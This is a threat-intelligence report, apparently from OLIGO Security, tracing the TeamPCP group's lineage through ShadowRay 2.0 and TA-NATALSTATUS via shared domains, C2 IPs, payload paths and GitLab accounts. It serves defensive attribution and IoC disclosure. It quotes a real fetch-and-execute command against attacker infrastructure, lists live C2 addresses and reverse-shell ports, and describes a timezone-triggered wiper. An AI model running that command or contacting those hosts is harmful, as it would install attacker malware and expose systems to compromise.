New Intelligence Links TeamPCP to ShadowRay 2.0 and Traces Activity back to 2020

OLIGO Security has identified evidence that TeamPCP was responsible for the first known attack in which AI infrastructure was hijacked into a self-propagating botnet during the ShadowRay 2.0 campaign. Our findings also link the group to activity previously attributed to TA-NATALSTATUS dating back to 2020.

The connection is supported by overlapping domains, malware deployment paths, staging techniques, backend infrastructure, and operational tradecraft. Together, these indicators reveal a continuous operational lineage spanning multiple years and culminating in the actor now publicly known as TeamPCP.

Our investigation also found previously unattributed TeamPCP activity months before the group publicly branded itself. During this period, the operators exploited internet-facing infrastructure across platforms including Ray, Docker, Redis, and React, before expanding into software supply chain compromise through GitHub Actions, token theft, and open-source project abuse.

One of the strongest operational links is the overlap between the IronErn GitHub and GitLab identities observed during ShadowRay 2.0 and TeamPCP's later infrastructure. Correlating GitLab authentication logs, command-and-control infrastructure, reverse-shell activity, and malware staging establishes a direct operational bridge between the ShadowRay 2.0 campaign and the actor later operating publicly as TeamPCP.

This report presents the findings of our ongoing investigation, including newly attributed activity, technical analysis, TTPs, and previously unpublished indicators of compromise (IoCs) associated with TeamPCP.

Acknowledgments

Throughout the investigation, we collaborated with the teams at Mandiant and GitLab. Their independent review, technical discussions, and additional investigative context contributed to a more complete understanding of the activity described in this report. We appreciate their time and expertise throughout the investigation.

Important note: GitLab promptly banned the accounts mentioned within this report.

Background

TeamPCP first emerged publicly through a series of high-profile software supply chain attacks targeting projects including Trivy, Checkmarx, and BerriAI/LiteLLM. The actor abused GitHub Actions workflows, compromised open-source projects, and used stolen credentials to distribute malicious code while publicly portraying its operations as financially motivated.

Separately, OLIGO's ShadowRay 2.0 research documented a large-scale campaign targeting exposed Ray clusters through automated exploitation, wormable payloads, AI-assisted malware development, and attacks against internet-facing cloud infrastructure. During that investigation, we identified activity associated with the IronErn GitHub and GitLab identities, although the broader relationship between those identities and TeamPCP was not yet understood.

By correlating ShadowRay 2.0 telemetry with historical infrastructure previously associated with TA-NATALSTATUS, publicly available intelligence, and newly identified intelligence, we uncovered a consistent pattern of shared infrastructure, tooling, and behavior spanning activity dating back to 2020.

What is New 

Our investigation has produced three primary findings that expand the known history and operational profile of TeamPCP.

TeamPCP-related activity extends back to at least 2020

We identified direct IOC and infrastructure overlap linking TeamPCP to activity previously attributed to TA-NATALSTATUS between 2020 and August 2025. Across multiple years of activity, we observed recurring infrastructure families, staging patterns, malware path conventions, and command-and-control infrastructure that remained consistent through the emergence of the TeamPCP identity. The overlap suggests operational continuity over multiple years, consistent with the same operators, closely affiliated groups, or shared operational infrastructure, rather than completely unrelated threat activity.

The actor evolved from opportunistic exploitation into large-scale supply chain compromise

Our analysis shows that TeamPCP was compromising internet-facing infrastructure as early as 2020. The actor repeatedly exploited 1-day vulnerabilities affecting platforms including React, Docker, Redis, and Ray, often using automated and wormable exploitation techniques. Over time, the operation evolved beyond exploiting exposed services, expanding into software supply chain attacks through GitHub, GitLab, and token theft. This transition allowed the actor to leverage legitimate cloud infrastructure while continuing to reuse long-standing infrastructure and methods.

TeamPCP, IronErn, and ShadowRay 2.0 are operationally linked

We established a direct connection between TeamPCP and the IronErn GitHub and GitLab identities active during the 2025 ShadowRay campaign. TeamPCP can be linked to the IronErn, IronErn440, and least3654 GitLab users, as well as the thisisforwork440-ops GitHub user, through shared infrastructure, overlapping post-compromise activity, and common operational artifacts. We also assess that TeamPCP was responsible for the ShadowRay 2.0 campaign based on our evidence. 

Chain of Events: TeamPCP Timeline (2020-2026) 

TA-NATALSTATUS IronErn and the TeamPCP Connection 

Between 2020 and late 2025, activity that we assess is operationally linked to TeamPCP was tracked under multiple names, including TA-NATALSTATUS and later IronErn. Those names were assigned by defenders based on observed infrastructure, tooling, and campaigns, while the TeamPCP identity did not emerge publicly until late 2025.

What is masscan[.]cloud? 

One of the strongest infrastructure links identified during our investigation is the malicious domain masscan[.]cloud. The domain and its related subdomains appear across activity associated with TA-NATALSTATUS, IronErn (ShadowRay 2.0) and later TeamPCP operations, serving as a recurring piece of infrastructure over multiple campaigns.

Certificate transparency records show that both masscan[.]cloud and matrix.masscan[.]cloud became active on May 11, 2025, establishing an early footprint for infrastructure that would later appear throughout TeamPCP operations.

Certificate Transparency Timeline

The certificate history suggests layered infrastructure rather than a single domain that was purchased. The base domain was registered through GoDaddy, wildcard certificates were issued through Google Trust Services, and individual subdomains relied on Let’s Encrypt certificates for provisioning.

Source: https://crt.sh/?q=masscan.cloud

Beginning in late 2025, the domain expanded beyond a single malware campaign. Newly observed subdomains indicate infrastructure supporting financial phishing, credential theft, payment fraud, and testing activity.

Malicious Subdomains Observed Under masscan[.]cloud

‍

With several of these subdomains active at the time of writing, this suggests that masscan[.]cloud served as a persistent operational platform and not just infrastructure solely dedicated to TeamPCP’s cloud exploitation campaigns.

The most interesting subdomain is matrix.masscan[.]cloud. Although registered alongside the parent domain in May 2025, it later appeared directly inside exploit infrastructure observed in the wild.

‍

During our investigation we identified 103.79.77[.]16/ep9TS2/ndt.sh, documented in the wild during June 2025, using the distinctive /ep9TS2/ndt.sh path. We also identified the malware URL natalstatus[.]org/ep9TS2/ndt.sh extending the same directory structure into earlier infrastructure.

‍

ndt.sh payload hosted on 103.79.77[.]16 and natalstatus[.]org

We then correlated these findings with historical infrastructure associated with natalstatus[.]org. Public reporting identified natalstatus[.]org as the primary backend and matrix.masscan[.]cloud as the backup infrastructure, directly linking the two domains within the same operational framework.

To better understand the significance of these findings, we compared them with CloudSEK's public research on TA-NATALSTATUS. CloudSEK identified the following artifacts as core components of the actor's deployment framework:

Shared Infrastructure and Tooling

Earlier TA-NATALSTATUS campaigns relied on natalstatus[.]org as the primary backend while matrix.masscan[.]cloud served as the backup infrastructure. By late 2025, TeamPCP's own GitHub account hosting the PCPcat malware listed masscan.cloud as its official website, directly associating the domain with the group.

Timeline of Infrastructure Reuse

July 2025: Newly-Attributed TeamPCP Activity 

On July 26, 2025, a compromised Ray cluster logged the following command:

wget https://matrix.masscan.cloud/ep9TS2/ndt.sh && chmod +x ndt.sh && ./ndt.sh 

The same infrastructure later appeared in PCPcat, TeamPCP repositories, and subsequent exploitation campaigns, placing TeamPCP-linked activity approximately five months before the name emerged publicly in December 2025.

Infrastructure Continues to Appear

The domain registration history supports this timeline. According to crt.sh, masscan[.]cloud was registered on May 11, 2025, approximately two months before the Ray payload from July, and remained active throughout the period covered by our investigation.

Just days after the July 26 payload, matrix.masscan[.]cloud was publicly reported distributing malware.

URLhaus associated the activity with 104.164.55.217, while historical passive DNS records linked masscan[.]cloud to 213.139.205.74.

Given TeamPCP publicly controlled masscan[.]cloud, we treat 213.139.205.74 as an IOC directly associated with the group. Together, the certificate transparency records, URLhaus reporting, and passive DNS history demonstrate that the infrastructure observed during ShadowRay 2.0 was lasting as it persisted across multiple campaigns and remained tied to TeamPCP as the group's operations evolved.

September-October 2025: Expanding the TeamPCP Attribution

By late summer and early fall 2025, the scope of the activity became much clearer. With the context of TeamPCP's historical infrastructure, our investigation identified additional activity that can now be attributed to TeamPCP through shared infrastructure, IOCs, and TTPs.

The strongest overlap is the continued reuse of masscan[.]cloud and 67.217.57.240, a TeamPCP C2 IP. Earlier TA-NATALSTATUS activity targeting exposed internet-facing services relied on the same infrastructure, while ShadowRay 2.0 against exposed Ray clusters continued using those same indicators during September and October. The recurrence of these unique artifacts across multiple campaigns is one of the strongest links between the operations.

We also observed multiple reverse shells connecting to 67.217.57.240:666 and masscan[.]cloud from compromised systems. The progression of payloads outlined below demonstrates a consistent operation.

Payload Evolution

Our research shows that TeamPCP maintained control of this infrastructure between July 26 and December 25, 2025, with the same domains, VPSs, and IP addresses continuing to support exploitation across later React2Shell, Docker, and other TeamPCP campaigns.

We also identified 44.252.85.168:666 serving payloads using the identical /files/<malware_binary> directory structure previously hosted on 67.217.57.240:666. The infrastructure appears to have evolved while preserving the same operational model. One possible explanation is that 67.217.57.240 had already been publicly disclosed during the ShadowRay 2.0 investigation, prompting the operators to migrate while retaining their deployment framework.

October also provides another important historical link. During attacks against exposed Redis servers captured by honeypots, the same masscan[.]cloud domain and ndt.sh deployment framework reappeared. The distinctive /EP9ts2/ directory structure had already been documented across multiple IP addresses and domains over several years, reinforcing the infrastructure lineage established earlier in this report.

Taken together, the September and October activity demonstrates that TeamPCP reusing the same infrastructure, payloads, and operational patterns across attacks targeting Ray clusters, Redis servers, Docker environments, and later React2Shell victims. This continuity strongly supports our assessment that TeamPCP represents the continuation (or rebranding) of an existing ecosystem.

November 2025: ShadowRay 2.0 and the IronErn Connection

By November 2025, TeamPCP was already very active, even though the group's public name wasn’t released yet.

One of the strongest examples came from compromised Ray clusters, where we observed long-lived reverse shells connected to 67.217.57.240:666, the TeamPCP command-and-control server mentioned.

root 1667804 1 0 Sep21 

./netsh root 2471383 1 0 Sep26 ./netsh

These reverse shells remained active from September 21 and September 26 through November 2, demonstrating that TeamPCP maintained persistent access to compromised systems weeks before the group began publicly using TeamPCP branding.

This period also provides one of the strongest operational links between ShadowRay 2.0 and the operators behind the infrastructure.

One of the key ShadowRay 2.0 indicators was 103.127.134.124, which received reverse shell connections from compromised Ray clusters. Data provided by GitLab shows that the same IP address was also used to authenticate to GitLab by the accounts ironern440 and least3654, which hosted the command-and-control scripts used during the campaign.

This was not simply shared hosting or overlapping infrastructure. The timeline shows the same IP serving both operational roles:

This timeline demonstrates a direct operational intersection between the infrastructure used to manage compromised Ray clusters and the GitLab accounts hosting the campaign's tooling. The same IP address was simultaneously involved in active post-compromise access and the management of the supporting command-and-control infrastructure.

December 2025: TeamPCP Emerges Publicly with PCPcat

By December 2025, TeamPCP's public identity had become much clearer. The group's first major operation under the TeamPCP name, PCPcat, peaked around Christmas 2025, targeting React2Shell-vulnerable applications and exposed Docker APIs with ransomware.

Public reporting from the time noted that the group itself claimed to have "rebranded" in late 2025, implying earlier operations under different names before consolidating under the TeamPCP identity. That public statement closely aligns with our findings.

PCPcat marks the point at which an already active threat actor adopted a consistent public identity. By then, the same infrastructure, deployment framework, and operational patterns had already been observed across multiple campaigns and, through the historical infrastructure links presented in this report, appear to extend back even further.

January-February 2026: Cloud Exploitation to Crimeware

By early 2026, the infrastructure documented through this investigation remained active. During February, masscan[.]cloud again resolved to 44.252.85.168 and 67.217.57.240.

During this period, the group expanded its exploitation to include CVE-2025-29927 and CVE-2025-55182, targeting a broad range of internet-facing technologies including AWS, Anyscale’s Ray, Docker, Kubernetes, Linux, Meta React, Microsoft Azure, Redis, and Vercel Next.js.

Operating openly under the TeamPCP name, the group increasingly transformed exposed internet-facing systems into persistent crimeware infrastructure. This represented an evolution from the tactics observed during ShadowRay 2.0 and earlier. The same wormable propagation techniques, reverse-shell deployment, and post-compromise persistence that had previously targeted Ray clusters were now being applied across a much broader range of technologies. The 2026 campaigns demonstrate an escalation of a previously established model.

March 2026: Expansion into Software Supply Chains

By March 2026, TeamPCP had expanded beyond exploiting exposed infrastructure and into the software supply chain attacks that contributed to the majority of their notoriety - such as attacks affecting Trivy, Checkmarx, and BerrAI/LiteLLMd, with downstream victims impacted through compromised development workflows.

The infrastructure evolved alongside these operations. Certificate transparency records show staging infrastructure including scan.aquasecurity.org on March 17, 2026, followed by checkmarx.zone on March 22, 2026, documenting the infrastructure supporting this phase of activity.

Although the targets had changed, the broader pattern had not. The same actor that previously focused on exposed cloud workloads and internet-facing services was now applying the same operational discipline to GitHub repositories, software pipelines, and credential theft. The infrastructure continued to evolve, but the underlying methods stayed consistent.

March 2026: Evolution of kube.py

One of the most notable changes observed during March 2026 appeared in kube.py, a second-stage payload used after compromising Kubernetes environments. Earlier versions of the script focused on propagation, checking the cluster, spreading to additional pods, and deploying a DaemonSet to establish persistence across the environment.

By March 26, 2026, the same script had evolved to include a destructive code path. The updated version checked whether the victim system was configured for the Iran timezone and, if so, deployed a destructive DaemonSet or executed a poison_pill() routine that deleted filesystems and rebooted the machine.

Because internet connectivity within Iran was heavily disrupted during the period, external visibility into affected systems was significantly limited, making it difficult to independently assess how widely, or whether, the destructive code path was ultimately deployed.

April 2026 

By April 2026, masscan[.]cloud had shifted from the TeamPCP command-and-control IP 67.217.57.240 to 6.6.6.6.

The change appears to reflect an infrastructure reorganization. Supporting services remained active: auth.masscan[.]cloud retained a valid wildcard certificate, pcp.masscan[.]cloud redirected to the group’s Telegram channel, and matrix.masscan[.]cloud continued resolving through Cloudflare.

This suggests the infrastructure was reorganized. While the base domain no longer resolved to the original command-and-control server, the supporting infrastructure remained operational and continued to expose the same ecosystem observed throughout the preceding campaigns.

One additional observation from this period is a public statement posted by the TeamPCP account on April 3, 2026:

We do not interpret this statement as evidence that the referenced "partners" are TA-NATALSTATUS, IronErn, or any other specific actors discussed in this report. 

Final Interpretation 

Our investigation indicates that TeamPCP did not emerge in late 2025. Instead, the evidence points to a longer operational history spanning multiple campaigns that were previously tracked under names including TA-NATALSTATUS and IronErn.

By correlating certificate transparency records, passive DNS data, malware payloads, backend infrastructure, GitHub and GitLab activity, command-and-control infrastructure, and campaign telemetry, we identified previously unattributed TeamPCP-linked activity and infrastructure dating back to 2020.

The cumulative overlap of shared infrastructure, deployment frameworks, malware tooling, backend architecture, staging scripts, command-and-control infrastructure, and operational timelines supports our assessment.

Whether this continuity reflects a direct rebrand, a shared operator set, or close collaboration between historically related actors cannot be determined with 100% certainty. What the evidence does demonstrate is that TeamPCP represents the continuation of an existing operational ecosystem rather than an entirely new threat actor that appeared in late 2025.